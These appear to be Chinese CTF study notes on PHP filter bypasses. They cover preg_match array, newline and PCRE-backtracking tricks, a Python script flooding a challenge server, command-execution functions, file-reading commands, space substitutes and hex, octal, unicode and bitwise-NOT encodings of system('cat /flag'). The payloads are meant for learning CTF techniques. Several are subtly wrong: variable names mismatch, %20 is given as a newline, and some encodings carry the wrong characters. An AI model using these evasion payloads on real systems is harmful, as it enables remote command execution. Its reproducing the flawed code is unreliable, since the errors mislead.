1.数组绕过
- $pass=$_GET['zx'];
- if(!preg_match("/admin/",$zx)==false){
- die('hacker');
- }
- echo 'flag';
- ?>
?zx[]=admin
2.换行符绕过
- $pass=$_GET['zx'];
- if(!preg_match("/^.(admin).$/",$zx)==false){
- die('hacker');
- }
- echo 'flag';
- ?>
?zx=%20admin
3.利用PCRE回溯次数限制绕过
- function jiuzhe($xdmtql){
- return preg_match('/sys.*nb/is',$xdmtql);
- }
-
- $xdmtql=@$_POST['xdmtql'];
-
- if(!is_array($xdmtql)){
- if(!jiuzhe($xdmtql)){
- if(strpos($xdmtql,'sys nb')!==false){
- echo 'flag{*******}';
- }else{
- echo 'true .swp file?';
- }
- }else{
- echo 'nijilenijile';
- }
- }
-
这里is_arry过滤数组
- import requests
- url='http://80b45bdd-e6de-4193-bc46-58bb19fc477f.www.polarctf.com:8090/'
- data={'xdmtql':'sys nb'+"aaaaa" * 1000000}
- r= requests.post(url=url,data=data)
- print(r.text)
1.命令执行函数
- system() - 执行命令,返回最后一条命令输出
- exec() - 执行命令,返回命令全部输出
- shell_exec() - 通过shell执行命令,返回全部输出
- passthru() - 执行命令,输出原始返回值
- popen() - 打开管道执行命令
2.读取文件命令
- cat -读取文件内容并输出
- more - 分屏显示文件内容
- less - 分页方式读取文件内容
- head - 输出文件头部内容
- tac - 从最后一行开始反向输出文件内容
- tail - 输出文件尾部内容
- nl - 输出行号和内容
- od - 以二进制的方式读取档案内容
- hd/hexdump - 以十六进制显示文件内容
- strings - 输出二进制文件中的可打印字符串
- sort - 对文本文件中的行进行排序
- uniq - 去除文本文件中的重复行
-
- 、
3.空格替代
- <
- <>
- ${IFS}
- $IFS
- %20(space)
- %09(tab)
- $IFS$9
- $IFS$1
- 字符串转义绕过
- 适用PHP版本:PHP>=7
- \x73\x79\x73\x74\x65\x6d\x27\x27\x63\x61\x74\x20\x2f\x66\x6c\x61\x67\x27\x29;
- #system('cat /flag') \x表示16进制
- ;
- \163\171\163\164\145\155\52\47\143\141\164\40\57\146\154\141\147\47\51
- #system('cat /flag'); \8进制
- \u{115}\u{121}\u{115}\u{116}\u{101}\u{109}\u{40}\u{39}\u{99}\u{97}\u{116}\u{32}\u{47}\u{102}\u{108}\u{97}\u{103}\u{39}\u{41}
- ;#system('cat /flag');
- \163\171\163\164\145\155\52\47\143\141\164\40\57\146\154\141\147\47\51("\167\150\157\141\155\151")
- #system('cat /flag');
-

- var_dump(urlencode(~"system"));
- var_dump(urlencode(~"cat /flag"));
- ?>
-
- string(18) "%8C%86%8C%8B%9A%92"
- string(27) "%9C%9E%8B%DF%D0%99%93%9E%98"
xdmtql=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98);